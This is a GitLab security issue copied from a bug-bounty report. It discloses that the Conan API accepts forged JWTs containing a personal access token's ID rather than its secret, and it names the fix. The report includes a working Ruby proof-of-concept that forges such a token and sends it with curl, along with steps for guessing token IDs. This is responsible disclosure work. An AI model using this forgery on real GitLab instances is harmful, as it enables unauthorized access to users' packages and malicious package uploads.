Conan API incorrectly processes JWT-encoded Personal Access Tokens, leading to potential vulnerability
**[HackerOne report #1070097](https://hackerone.com/reports/1070097)** by `firelizzard` on 2021-01-02, assigned to @cmaxim: [Report](#report) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary The Conan API incorrectly processes JWT-encoded Personal Access Tokens sent via HTTP Bearer auth. If an attacker is able to determine a server secret (`Settings.attr_encrypted_db_key_base`), a username, and one of the user's Personal Access Token's ID, the attacker could access the Conan API as if they had the Personal Access Token secret. This may also affect the dependency proxy. ##### Steps to reproduce 1. Target a GitLab instance - You must be able to make API requests 1. Determine the instance's `Settings.attr_encrypted_db_key_base` - This must be done via direct access to the server, or some other vulnerability 1. Target a user of the instance - You need the User ID - If all you know is the username, you can use the GraphQL API to get the ID from the username 1. Guess the ID of one of the user's Personal Access Tokens - The PAT must have access to the Conan API - If the instance is small enough, you may be able to brute force this - If you have an account, you can create your own PAT, which may give you an idea of likely ID ranges to try 1. Execute the following script - You must have the `jwt` gem installed ```ruby require 'time' require 'jwt' require 'securerandom' ### URL to attack URL = 'https://gdk.test/api/v4/packages/conan/v1/users/check_credentials' ### User ID of your target user_id = 1 ### Personal Access Token ID of your target user token_id = 1 ### Settings.attr_encrypted_db_key_base key_base = 'REDACTED' issued_at = Time.now not_before = issued_at - 5 expire_time = issued_at + 60 payload = { jti: SecureRandom.uuid, "access_token": token_id, "user_id": user_id, iat: issued_at.to_i, nbf: not_before.to_i, exp: expire_time.to_i } secret = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA256.new, key_base, 'gitlab-conan-packages') encoded = JWT.encode(payload, secret, 'HS256', { typ: 'JWT' }) puts `curl -H "Authorization: Bearer #{encoded}" #{URL}` ``` ##### Impact Ability to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages. ##### Examples This requires compromising a server secret, `Settings.attr_encrypted_db_key_base`, so I have only tested it on my local GDK setup. ##### What is the current *bug* behavior? The way the Conan API authentication processes a JWT-encoded Personal Access Token means authentication will succeed if the JWT has the *ID* of the PAT instead of the actual (cryptographically secure and random) token. `API::Helpers::Packages::Conan::ApiHelpers#find_personal_access_token_from_conan_jwt` on line 248 of `lib/api/helpers/packages/conan/api_helpers.rb` uses `PersonalAccessToken.find_by_id_and_user_id`. ##### What is the expected *correct* behavior? The Conan API should only accept a JWT-encoded Personal Access Token if the JWT contains the actual token value. The helper should use `PersonalAccessToken.find_by_token_and_user_id`. ##### Relevant logs and/or screenshots I'm not sure there are any relevant logs. ##### Output of checks ###### Results of GitLab environment info ``` $ cd ~/Source/gitlab-org/gitlab-development-kit/gitlab $ bundle exec rake gitlab:env:info RAILS_ENV=development System information System: Proxy: no Current User: firelizzard Using RVM: no Ruby Version: 2.7.2p137 Gem Version: 3.1.4 Bundler Version:2.1.4 Rake Version: 13.0.1 Redis Version: 6.0.8 Git Version: 2.30.0 Sidekiq Version:5.2.9 Go Version: go1.15.5 darwin/amd64 GitLab information Version: 13.8.0-pre Revision: f9a79617f8e Directory: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab DB Adapter: PostgreSQL DB Version: 12.4 URL: https://gdk.test:3443 HTTP Clone URL: https://gdk.test:3443/some-group/some-project.git SSH Clone URL: ssh://firelizzard@gdk.test:2222/some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: google_oauth2 GitLab Shell Version: 13.15.0 Repository storage paths: - default: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/repositories GitLab Shell path: /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab-shell Git: /usr/local/bin/git ``` #### Impact The attacker could to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages. ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue